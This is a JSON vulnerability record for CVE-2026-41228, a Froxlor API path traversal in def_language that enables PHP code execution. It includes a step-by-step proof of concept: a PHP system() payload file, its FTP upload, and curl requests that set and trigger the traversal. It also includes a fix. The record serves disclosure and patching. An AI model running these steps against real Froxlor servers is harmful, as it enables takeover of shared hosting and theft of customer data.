{"id":"CVE-2026-41228","aliases":["CVE-2026-41228","GHSA-w59f-67xm-rxx7"],"related":[],"kind":"vulnerability","state":"published","title":"Froxlor has Local File Inclusion via path traversal in API `def_language` parameter that leads to Remote Code Execution","summary":"Froxlor is open source server administration software. Prior to version 2.3.6, the Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user. Version 2.3.6 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Froxlor is open source server administration software. Prior to version 2.3.6, the Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user. Version 2.3.6 fixes the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.\n\n## Details\n\n**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.\n\nThe **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:\n\n```php\n// customer_index.php:260-265\n$def_language = Validate::validate(Request::post('def_language'), 'default language');\nif (isset($languages[$def_language])) {\n    Customers::getLocal($userinfo, [\n        'id' => $userinfo['customerid'],\n        'def_language' => $def_language\n    ])->update();\n```\n\nThe **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\\r\\n\\t\\f\\0]*$/D`, which permits path traversal sequences:\n\n```php\n// Customers.php:1167-1172 (customer branch)\n} else {\n    // allowed parameters\n    $def_language = $this->getParam('def_language', true, $result['def_language']);\n    ...\n}\n// Customers.php:1207 - validation (shared by admin and customer paths)\n$def_language = Validate::validate($def_language, 'default language', '', '', [], true);\n```\n\nThe tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:\n\n**API path** (`ApiCommand.php:218-222`):\n```php\nprivate function initLang()\n{\n    Language::setLanguage(Settings::Get('panel.standardlanguage'));\n    if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {\n        Language::setLanguage($this->getUserDetail('language'));\n    } elseif ($this->getUserDetail('def_language') !== null) {\n        Language::setLanguage($this->getUserDetail('def_language')); // No validation\n    }\n}\n```\n\n**Web path** (`init.php:180-185`):\n```php\nif (CurrentUser::hasSession()) {\n    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {\n        Language::setLanguage(CurrentUser::getField('language'));\n    } else {\n        Language::setLanguage(CurrentUser::getField('def_language')); // No validation\n    }\n}\n```\n\nThe `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.\n\n**File inclusion** (`Language.php:89-98`):\n```php\nprivate static function loadLanguage($iso): array\n{\n    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);\n    if (!file_exists($languageFile)) {\n        return [];\n    }\n    $lng = require $languageFile;  // Arbitrary PHP execution\n```\n\nWith `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.\n\n## PoC\n\n**Step 1 — Upload malicious language file via FTP:**\n\nFroxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).\n\n```bash\n# Create malicious .lng.php file\necho '<?php system(\"id > /tmp/pwned\"); return [];' > evil.lng.php\n\n# Upload to customer web directory via FTP\nftp panel.example.com\n> put evil.lng.php\n```\n\nThe file is now at `/var/customers/webs/<loginname>/evil.lng.php`.\n\n**Step 2 — Set traversal payload via API:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H 'Authorization: Basic <base64(apikey:apisecret)>' \\\n  -d '{\"command\":\"Customers.update\",\"params\":{\"def_language\":\"../../../../../var/customers/webs/customer1/evil\"}}'\n```\n\nThe traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.\n\n**Step 3 — Trigger inclusion on next API call:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H 'Authorization: Basic <base64(apikey:apisecret)>' \\\n  -d '{\"command\":\"Customers.get\"}'\n```\n\n`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`.\n\n**Step 4 — Verify execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated customer can execute arbitrary PHP code as the web server user. This enables:\n\n- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.\n- **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment.\n- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.\n- **Data exfiltration:** Read all hosted databases and email content across the panel.\n\nThe attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.\n\n## Recommended Fix\n\nValidate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:\n\n```php\n// In Customers.php, replace line 1207:\n// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);\n\n// With:\n$def_language = Validate::validate($def_language, 'default language', '', '', [], true);\nif (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {\n    $def_language = Settings::Get('panel.standardlanguage');\n}\n```\n\nApply the same fix in `Admins.php` at line 600.\n\nAdditionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:\n\n```php\nprivate static function loadLanguage($iso): array\n{\n    // Reject path traversal attempts\n    if ($iso !== basename($iso) || str_contains($iso, '..')) {\n        return [];\n    }\n    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);\n    // ...\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Froxlor es un software de administración de servidores de código abierto. Antes de la versión 2.3.6, el endpoint de la API de Froxlor ’Customers.update’ (y ’Admins.update’) no valida el parámetro ’def_language’ contra la lista de archivos de idioma disponibles. Un cliente autenticado puede establecer ’def_language’ a una carga útil de salto de ruta (por ejemplo, ’.. / .. / .. / .. / .. / var/customers/webs/customer1/evil’), que se almacena en la base de datos. En solicitudes posteriores, ’Language::loadLanguage()’ construye una ruta de archivo usando este valor y lo ejecuta a través de ’require’, logrando la ejecución arbitraria de código PHP como el usuario del servidor web. La versión 2.3.6 corrige el problema.","source":"nvd"}],"published":"2026-04-16T01:02:12.000Z","modified":"2026-11-11T23:10:00.263Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-98"],"affected":[{"ranges":[{"version":"< 2.3.6","status":"affected"}],"vendor":"froxlor","product":"froxlor","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.3.6"}],"ecosystem":"Packagist","package":"froxlor/froxlor","purl":"pkg:composer/froxlor/froxlor","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.3.6"}],"vendor":"froxlor","product":"froxlor","cpe":"cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/froxlor/froxlor/commit/bc5e6dbaa90e6f3573129da640595e8c770e1d0c","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41228","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/froxlor/froxlor","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-23T14:46:42.002Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41228","url":"https://www.cve.org/CVERecord?id=CVE-2026-41228","licence":"CVE Terms of Use","modified":"2026-04-23T14:48:07.640Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w59f-67xm-rxx7","url":"https://github.com/advisories/GHSA-w59f-67xm-rxx7","licence":"CC-BY-4.0","modified":"2026-05-05T16:26:36.618Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41228","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41228","licence":"Public domain","modified":"2026-11-11T23:10:00.263Z"}],"updatedAt":"2026-11-25T22:59:19.374Z","epss":{"score":0.00534,"percentile":0.46495,"date":"2026-12-02T12:00:21.000Z"}}